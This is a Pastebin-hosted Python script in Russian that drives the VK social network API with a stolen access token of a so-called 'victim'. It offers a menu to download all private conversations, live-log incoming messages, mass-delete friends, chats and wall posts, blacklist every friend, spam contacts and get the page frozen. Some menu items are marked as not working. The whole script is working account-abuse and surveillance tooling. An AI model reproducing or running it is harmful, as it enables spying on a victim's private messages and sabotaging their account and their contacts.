Advertisement
kolya5544

Full

Jun 5th, 2020
1,537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 27.64 KB | None | 0 0
  1. import vk_api
  2. import json
  3. import time
  4. import datetime
  5. import os
  6. import subprocess
  7.  
  8. def cls():
  9.     subprocess.call('cls', shell=True)
  10.  
  11. def exxit():
  12.     input('\n--------------------------------------------------------------------\n   Нажмите Enter чтобы вернутся в меню')
  13. subprocess.call('color 0a', shell=True)
  14. try:
  15.     open('token.txt','r').readline()
  16. except Exception:
  17.     open('token.txt','w').write('')
  18.     input('Введите TOKEN жертвы в token.txt и нажмите Enter:\n')
  19.     cls()
  20. try:
  21.     open('id.txt','r').readline()
  22. except Exception:
  23.     open('id.txt','w').write('')
  24.     input('Введите ID жертвы в id.txt и нажмите Enter:\n')
  25.     cls()
  26.  
  27. vk = vk_api.VkApi(token=open('token.txt','r').readline().strip())
  28. vk._auth_token()
  29. idshnik = open('id.txt','r').readline().strip()
  30.  
  31. path = open('id.txt','r').readline().strip() + '_output'
  32. if not os.path.exists(path):
  33.     try:
  34.         os.makedirs(path)
  35.     except OSError:
  36.         print("Папка уже создана")
  37.         cls()
  38.  
  39. stroka=0
  40. offs = 0
  41. chat_idd = 1
  42.  
  43. user_info = vk.method("users.get", {"user_ids": int(idshnik), "fields": ["first_name", "last_name"]})
  44. user_name = user_info[0]["first_name"]
  45. user_name1 = user_info[0]["last_name"]
  46. cls()
  47. while True:
  48.     print('Эта программа была создана компанией Kersal Studio - vk.com/kersalstudio, \nзапуская программу вы соглашаетесь что не будете использовать программу во вред, и вся отвественность лежит на вас\n')
  49.     print('User_ID:         ' + str(idshnik))
  50.     print('User_First_Name: ' + str(user_name))
  51.     print('User_Last_Name:  ' + str(user_name1))
  52.     print('\nBETTA 0.1\n1.) Скачать все диалоги с друзьями\n2.) Получить список друзей\n3.) Получить список бесед\n4.) Массовый кик в беседе\n5.) Получить участников конкретной беседы \n6.) Очистить историю конкретной беседы\n7.) Очистить историю конкретного диалога\n(НЕ РАБОТАЕТ) || 9.) Очистить все диалоги с друзьями\n10.) Очистить все беседы \n11.) Изменить название конкретной беседы \n12.) Удалить аватарку конкретной беседы \n(НЕ РАБОТАЕТ) || 13.) Открепить сообщение в беседе\n14.) Получить список подписанных групп \n15.) Удалить всех друзей \n(НЕ РАБОТАЕТ) || 16.) Удалить всех подписчиков\n(НЕ РАБОТАЕТ) || 17.) Выйти из всех групп \n(НЕ РАБОТАЕТ) || 18.) Выйти из всех бесед \n19.) Поменять статус \n20.) Удалить все со стены \n21.) Кикнуть конкретного человека в беседе \n22.) Удалить конкретного друга \n(НЕ РАБОТАЕТ) || 23.) Удалить конкретного подписчика \n24.) Заморозить страницу \n25.) Онлайн прослушивание сообщений \n26.) Перевести всех друзей в чс \n27.) Убрать всех из чс \n28.) Добавить кого либо в чс \n29.) Убрать кого либо из чс \n30.) Скачать переписку конкретного человека \n31.) Скачать переписку конкретной беседы \n32.) Повторяющиеся статус \n33.) Написать кому либо \n34.) Написать на стене \n(НЕ РАБОТАЕТ) || 35.) Перевести свех подписчиков группы в бан \n(НЕ РАБОТАЕТ) || 36.) Удалить все посты в группе \n(НЕ РАБОТАЕТ) || 37.) Поменять настройки страницы \n(НЕ РАБОТАЕТ) || 38.) Включить троллинг режим \n39.) Сделать рассылку всем друзьям \n40.) Подписать на конкретную группу \n(НЕ РАБОТАЕТ) || 41.) Включить спам в беседе \n(НЕ РАБОТАЕТ) || 42.) Написать в конкретной беседе \n(НЕ РАБОТАЕТ) || 43.) Добавить конкретного человека в беседу \n(НЕ РАБОТАЕТ) || 44.) Начинать добавляться всем подряд в друзья \n(НЕ РАБОТАЕТ) || 45.)Выйти из конкретной группы\n')
  53.    
  54.     vibor = input('\n--------------------------------------------------------------------\nВведите цифру и нажмите Enter: ')
  55.     cls()
  56.    
  57.     if vibor == '1':
  58.         print('Началось скачивание переписок, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialog_IDДРУГА.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
  59.         time.sleep(1)
  60.         offs = 1
  61.         end = 0
  62.         get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  63.         for friend in get_friend["items"]:
  64.             count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "user_id" : int(friend)})["count"]
  65.             if count == 0:
  66.                 print('Ничего не найдено у ' + str(friend))
  67.             else:
  68.                 print('Всего сообщений найдено: ' + str(count) + "\n" + " ID друга: " + str(friend) + '\n')
  69.                 offs = 1
  70.                 stroka = 0
  71.                 while offs < count:
  72.                     get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "user_id" : int(friend)})
  73.                     offs += 200
  74.                     for message11 in get_history["items"]:
  75.                         try:
  76.                             timestamp = int(message11["date"])
  77.                             value = datetime.datetime.fromtimestamp(timestamp)
  78.                             itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
  79.                             open(str(idshnik) + "_output" + "\\dialog_" + str(friend) +".txt",'a').write(' [' + str(stroka) + '] ' + itog)
  80.                             print('[' + str(stroka) +']' + itog)
  81.                             stroka=stroka+1
  82.                             end=end+1
  83.                         except Exception:
  84.                             print('Ошибка кодировки сообщения')
  85.         print('\n--------------------------------------------------------------------\nВсего сообщений скачано: ' + str(gg))
  86.         exxit()
  87.  
  88.     elif vibor == '2':
  89.         pokaz = input('Показывать имя и фамилию друга(медленно)? (Y/n): ')
  90.         if pokaz == 'y' or pokaz =='Y':
  91.             cls()
  92.             print('Началось сканирование друзей, все друзья будут в файле friends.txt\n--------------------------------------------------------------------')
  93.             time.sleep(1)
  94.             try:
  95.                 get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  96.                 for friend in get_friend["items"]:
  97.                     user_info = vk.method("users.get", {"user_ids": int(friend), "fields": ["first_name", "last_name"]})
  98.                     user_name = user_info[0]["first_name"]
  99.                     user_name1 = user_info[0]["last_name"]
  100.                     gg_friends = '['+ str(stroka) + '] https://vk.com/id' + str(friend) + ' ' + str(user_name) + ' ' + str(user_name1) + '\n'
  101.                     print(gg_friends)
  102.                     open(str(idshnik) + "_output" + "\\friends.txt",'a').write(gg_friends)
  103.                     stroka=stroka+1
  104.                 exxit()
  105.  
  106.             except Exception:
  107.                 print('Ошибка кодировки')
  108.  
  109.         elif pokaz == 'n' or pokaz == 'N':
  110.             cls()
  111.             print('Началось сканирование друзей, все друзья будут в файле friends.txt\n--------------------------------------------------------------------')
  112.             time.sleep(1)
  113.             try:
  114.                 get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  115.                 for friend in get_friend["items"]:
  116.                     gg_friends = '['+ str(stroka) + '] https://vk.com/id' + str(friend) + '\n'
  117.                     print(gg_friends)
  118.                     open(str(idshnik) + "_output" + "\\friends.txt",'a').write(gg_friends)
  119.                     stroka=stroka+1
  120.                 exxit()
  121.             except Exception:
  122.                 print('Ошибка кодировки')
  123.         else:
  124.             print('Такого варианта не существует')
  125.             exxit()
  126.    
  127.     elif vibor == '3':
  128.         cls()
  129.         print('Началось сканирование бесед, все они будут в chats.txt\n--------------------------------------------------------------------')
  130.         time.sleep(1)
  131.         while True:
  132.             get_chats = vk.method("messages.getChat",{"chat_id" : int(chat_idd)})
  133.             try:
  134.                 print('id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' title: ' + str(get_chats["title"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
  135.             except Exception:
  136.                 print('Неудалось отобразить беседу')
  137.             if int(get_chats["admin_id"]) == int(idshnik):
  138.                 try:
  139.                     open(str(idshnik) + "_output" + "\\chats.txt",'a').write(' ADMIN!!! ' + '['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' title: ' + str(get_chats["title"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
  140.                 except Exception:
  141.                     open(str(idshnik) + "_output" + "\\chats.txt",'a').write(' ADMIN!!! ' + '['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
  142.             else:
  143.                 try:
  144.                     open(str(idshnik) + "_output" + "\\chats.txt",'a').write('['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) + ' title: ' + str(get_chats["title"]) + ' members: ' + str(get_chats["members_count"]) + '\n')
  145.                 except Exception:
  146.                     open(str(idshnik) + "_output" + "\\chats.txt",'a').write('['+ str(chat_idd) + '] ' + 'id_chat: ' + str(get_chats["id"]) + ' admins: ' + str(get_chats["admin_id"]) +  ' members: ' + str(get_chats["members_count"]) + '\n')
  147.             chat_idd = chat_idd + 1
  148.         exxit()
  149.  
  150.     elif vibor == '4':
  151.         cls()
  152.         chat_id = input('Введите id чата: ')
  153.         kikcs = vk.method("messages.getChat",{"chat_id" : int(chat_id)})
  154.         print('Начался массовый кик\n--------------------------------------------------------------------')
  155.         time.sleep(1)
  156.         for user in kikcs["users"]:
  157.             if user == kikcs["admin_id"]:
  158.                 continue
  159.             try:
  160.                 if user == int(idshnik):
  161.                     print('ВЫ ПРОПУЩЕНЫ')
  162.                 else:
  163.                     vk.method("messages.removeChatUser",{"chat_id" : chat_id, "user_id" : user})
  164.                     print("Кикнут https://vk.com/id", user)
  165.             except Exception:
  166.                 print('Ошибка, возможно юзера уже нет')
  167.         exxit()
  168.  
  169.     elif vibor == '21':
  170.         chat_id = input('Введите id чата: ')
  171.         user = input('Введите id юзера: ')
  172.         vk.method("messages.removeChatUser",{"chat_id" : chat_id, "user_id" : user})
  173.         print('Успешно кикнут')
  174.         exxit()
  175.  
  176.     elif vibor == '40':
  177.         chaasst_y = input('Введите id группы: ')
  178.         get_friend = vk.method("groups.join",{"group_id" : chaasst_y})
  179.         exxit()
  180.  
  181.     elif vibor == '14':
  182.         offs = 1
  183.         count = vk.method("groups.get",{"offset" : offs, "count" : 1})["count"]
  184.         print('Всего найдено: ' + str(count))
  185.         time.sleep(2)
  186.         while offs <= count:
  187.             groups = vk.method("groups.get",{"offset" : offs, "count" : 200, "extended" : 1})
  188.             offs = offs + 200
  189.             for group in groups["items"]:
  190.                 name = group["name"]
  191.                 addres = group["screen_name"]
  192.                 id1 = group["id"]
  193.                 admin = group["is_admin"]
  194.                 photo = group["photo_50"]
  195.                 try:
  196.                     if admin == 1:
  197.                         open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
  198.                         print('Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
  199.                     else:
  200.                         open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ' + '\n')
  201.                         print('Название: ' + str(name) + ' id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ ' + '\n')
  202.                 except Exception:
  203.                     if admin == 1:
  204.                         open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
  205.                         print('id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: ДА ' + '\n')
  206.                     else:
  207.                         open(str(idshnik) + "_output" + '\\group_list.txt','a').write(' [' + str(stroka) + '] ' + 'id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ' + '\n')
  208.                         print('id: ' + str(id1) + ' адрес: ' + str(addres) + ' админ: НЕТ ' + '\n')
  209.                 stroka = stroka + 1
  210.         exxit()
  211.  
  212.  
  213.     elif vibor == '39':
  214.         get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  215.         messag = input('Введите сообщение при отправке: ')
  216.         tiime = input('Введите через сколько секунд отправлять сообщение: ')
  217.         for friend in get_friend["items"]:
  218.             vk.method("messages.send",{"user_id" : int(friend), "message" : str(messag), "random_id" : 4235325})
  219.             print('Отправлено: ' + str(friend))
  220.             time.sleep(int(ttime))
  221.         exxit()
  222.  
  223.     elif vibor == '5':
  224.         cls()
  225.         chat11_id = input('Введите id чата: ')
  226.         cls()
  227.         print('Начался парсинг участников, информация будет в chat_'+ str(chat11_id) + '.txt' + '\n--------------------------------------------------------------------')
  228.         time.sleep(1)
  229.         uuser = vk.method("messages.getChat",{"chat_id" : chat11_id})
  230.         print(uuser["users"])
  231.         open(str(idshnik) + "_output" + '\\chat_' + str(chat11_id) + '.txt','a').write(str(uuser["users"]) + '\n')
  232.         exxit()
  233.    
  234.     elif vibor == '6':
  235.         cls()
  236.         chat11_id = input('Введите id чата: ')
  237.         vk.method("messages.deleteConversation",{"peer_id" : chat11_id})
  238.         print('Чат был удален')
  239.         exxit()
  240.    
  241.    
  242.     elif vibor == '34':
  243.         cls()
  244.         chat112_id = input('Сообщение поста:  ')
  245.         vk.method("wall.post",{"owner_id" : int(idshnik), "message" : chat112_id})
  246.         print('Пост выложен')
  247.         exxit()
  248.  
  249.     elif vibor == '7':
  250.         cls()
  251.         chat112_id = input('Введите id юзера: ')
  252.         vk.method("messages.deleteConversation",{"user_id" : chat112_id})
  253.         print('Диалог был удален')
  254.         exxit()
  255.    
  256.     elif vibor == '9':
  257.         cls()
  258.         get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  259.         for friend in get_friend["items"]:
  260.             vk.method("messages.deleteConversation",{"user_id" : friend})
  261.             print('Удалено ' + str(friend))
  262.         exxit()
  263.  
  264.     elif vibor == '10':
  265.         cls()
  266.         chat11_iid = 1
  267.         while True:
  268.             vk.method("messages.deleteConversation",{"peer_id" : chat11_iid})
  269.             print('Беседа ' + str(chat11_iid) + ' удалена.')
  270.             chat11_iid = chat11_iid + 1      
  271.         print('Все беседы были очищены')
  272.         exxit()
  273.  
  274.     elif vibor == '11':
  275.         cls()
  276.         id_chata = input('Введите id беседы: ')
  277.         title = input('Введите новое название беселы')
  278.         vk.method("messages.editChat",{"chat_id" : id_chata, "title" : title})
  279.         print('Название было успешно поменяно')
  280.         exxit()
  281.    
  282.     elif vibor == '26':
  283.         cls()
  284.         get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  285.         for friend in get_friend["items"]:
  286.             vk.method("account.ban",{"owner_id" : friend})
  287.             print('https://vk.com/id' + str(friend) + ' Добавлен в чс')
  288.             time.sleep(2)
  289.         exxit()
  290.  
  291.     elif vibor == '27':
  292.         cls()
  293.         offs = 1
  294.         count = vk.method("account.getBanned",{"offset" : 0 ,"count" : 1})["count"]
  295.         while offs < count:
  296.             get_ban = vk.method("account.getBanned",{"offset" : offs ,"count" : 200})
  297.             offs += 200
  298.             for friend in get_ban["items"]:
  299.                 time.sleep(2)
  300.                 vk.method("account.unban",{"owner_id" : friend})
  301.                 print('https://vk.com/id' + str(friend) + ' Убран из чс')
  302.         print('Черный список пуст')
  303.         exxit()
  304.  
  305.     elif vibor == '28':
  306.         cls()
  307.         friend = input('Введите id юзера')
  308.         vk.method("account.ban",{"owner_id" : int(friend)})
  309.         exxit()
  310.    
  311.     elif vibor == '29':
  312.         cls()
  313.         friend = input('Введите id юзера')
  314.         vk.method("account.unban",{"owner_id" : int(friend)})
  315.         exxit()
  316.    
  317.     elif vibor == '12':
  318.         cls()
  319.         id_chata = input('Введите id беседы: ')
  320.         vk.method("messages.deleteChatPhoto",{"chat_id" : id_chata})
  321.         exxit()
  322.    
  323.     elif vibor == '15':
  324.         cls()
  325.         get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  326.         for friend in get_friend["items"]:
  327.             del_friends = vk.method("friends.delete",{"user_id" : friend})
  328.             print('https://vk.com/id' + str(friend) + ' Успешно удален!')
  329.         exxit()
  330.  
  331.     elif vibor == '10':
  332.         cls()
  333.         get_chats = vk.method("messages.getChat",{"chat_id" : int(chat_idd)})
  334.         for friend in get_friend["items"]:
  335.             del_friends = vk.method("friends.delete",{"user_id" : friend})
  336.             print('https://vk.com/id' + str(friend) + ' Успешно удален!')
  337.         exxit()
  338.  
  339.  
  340.     elif vibor == '16':
  341.         cls()
  342.         get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  343.         for friend in get_friend["items"]:
  344.             del_friends = vk.method("friends.delete",{"user_id" : friend})
  345.             print('https://vk.com/id' + str(friend) + ' Успешно удален!')
  346.         exxit()
  347.  
  348.     elif vibor == '20':
  349.         cls()
  350.         print('Удаляем все посты со стенки, программа сама выйдет после окончания')
  351.         posts = vk.method("wall.get",{"count" : 100})["items"]
  352.         while(posts):                                        
  353.             for post in posts:                
  354.                 print(post['id'])                    
  355.                 vk.method("wall.delete",{"post_id" : post['id']})
  356.                 print('пост был удален')
  357.             posts = vk.method("vk.wall.get",{"count" : 100})["items"]
  358.         exxit()
  359.  
  360.     elif vibor == '24':
  361.         cls()
  362.         vk.wall.post(message='СОВА НИКОГДА НЕ СПИТ')
  363.         vk.wall.post(message='vto.pe vto.pe vto.pe')
  364.         print('Успешно, через пару секунд страница будет заморожена')
  365.         exxit()
  366.    
  367.     elif vibor == '19':
  368.         mess = input('Введите новый статус: ')
  369.         vk.method("status.set",{"text" : mess})
  370.         exxit()
  371.    
  372.     elif vibor == '33':
  373.         vibb = input('id юзера: ')
  374.         messag = input('Введите сообщение отправки: ')
  375.         vk.method("messages.send",{"user_id" : int(vibb), "message" : messag, "random_id" : 4235325})
  376.         print('Сообщение отправлено')
  377.         exxit()
  378.    
  379.     elif vibor == '42':
  380.         vibb = input('id чата: ')
  381.         messag = input('Введите сообщение отправки: ')
  382.         vk.method("messages.send",{"chat_id" : int(vibb), "message" : messag, "random_id" : 4235253})
  383.         print('Сообщение отправлено')
  384.         exxit()
  385.    
  386.    
  387.     elif vibor == '32':
  388.         mess = input('Введите новый статус: ')
  389.         sllep = input('Введите кол-во секунд обновления: ')
  390.         while True:
  391.             vk.method("status.set",{"text" : mess})
  392.             print('Статус изменен')
  393.             time.sleep(int(sllep))
  394.    
  395.     elif vibor == '22':
  396.         cls()
  397.         friend = input('Введите id юзера: ')
  398.         vk.method("friends.delete",{"user_id" : friend})
  399.         exxit()
  400.    
  401.     elif vibor == '25':
  402.         from vk_api.longpoll import VkEventType, VkLongPoll
  403.         cls()
  404.    
  405.         longpoll = VkLongPoll(vk, wait=0)
  406.         print('Прослушивание сообщений нчалось, логи будут в log_sms.txt\n--------------------------------------------------------------------')
  407.         try:
  408.             for event in longpoll.listen():
  409.                 if event.type == VkEventType.MESSAGE_NEW:
  410.                     vk_text = event.text
  411.                     textt = event.text.lower()
  412.                     import datetime
  413.                     try:
  414.                         if event.from_chat:
  415.                             user_id = event.user_id
  416.                             print('ДИАЛОГ: ' + str(event.chat_id) + ' ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + '  : '+ str(textt) + '\n')
  417.                             open(str(idshnik) + "_output" + "\\log_sms.txt",'a').write('[' + str(stroka) + ']' + ' ДИАЛОГ: ' + str(event.chat_id) +  'ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + '  : '+ str(textt) + '\n')
  418.                             stroka=stroka+1
  419.                         else:
  420.                             user_id = event.user_id
  421.                             print('ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + '  : '+ str(textt) + '\n')
  422.                             open(str(idshnik) + "_output" + "\\log_sms.txt",'a').write('[' + str(stroka) + '] '+'ОТ: '+ str(user_id)+ ' ' + str(datetime.datetime.strftime(datetime.datetime.now(), "%H:%M:%S")) + '  : '+ str(textt) + '\n')
  423.                             stroka=stroka+1
  424.                     except Exception:
  425.                         print('Ошибка кодировки')
  426.         except Exception:
  427.             print('Соединение прервано, переподключаемся...')
  428.    
  429.     elif vibor == '30':
  430.         friend = input('Введите id юзера: ')
  431.         cls()
  432.         print('Началось скачивание сообщений, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialogs_'+ str(friend) + '.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
  433.         time.sleep(1)
  434.         offs = 1
  435.         stroka = 0
  436.         count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "user_id" : int(friend)})["count"]
  437.         print('Всего сообщений найдено: ' + str(count) + '\n')
  438.         time.sleep(1)
  439.         while True:
  440.             if offs < count:
  441.                 get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "user_id" : int(friend)})
  442.                 offs += 200
  443.                 for message11 in get_history["items"]:
  444.                     try:
  445.                         timestamp = int(message11["date"])
  446.                         value = datetime.datetime.fromtimestamp(timestamp)
  447.                         itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
  448.                         open(str(idshnik) + "_output" + "\\dialog_"+ str(friend) + ".txt",'a').write(' [' + str(stroka) + '] ' + itog)
  449.                         print('[' + str(stroka) +']' + itog)
  450.                         stroka=stroka+1
  451.                     except Exception:
  452.                         print('Error')
  453.             else:
  454.                 exxit()
  455.    
  456.     elif vibor == '31':
  457.         friend = input('Введите id чата: ')
  458.         cls()
  459.         print('Началось скачивание беседы, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialogs_'+ str(friend) + '.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
  460.         time.sleep(1)
  461.         offs = 1
  462.         stroka = 0
  463.         count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "chat_id" : int(friend)})["count"]
  464.         print('Всего сообщений найдено: ' + str(count) + '\n')
  465.         time.sleep(1)
  466.         while True:
  467.             if offs < count:
  468.                 get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "chat_id" : int(friend)})
  469.                 offs += 200
  470.                 for message11 in get_history["items"]:
  471.                     try:
  472.                         timestamp = int(message11["date"])
  473.                         value = datetime.datetime.fromtimestamp(timestamp)
  474.                         itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
  475.                         open(str(idshnik) + "_output" + "\\chat_"+ str(friend) + ".txt",'a').write(' [' + str(stroka) + '] ' + itog)
  476.                         print('[' + str(stroka) +']' + itog)
  477.                         stroka=stroka+1
  478.                     except Exception:
  479.                         print('Ошибка кодировки сообщения')
  480.             else:
  481.                 exxit()    
  482.     else:
  483.         print('Такого варианта не существует')
  484.         input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement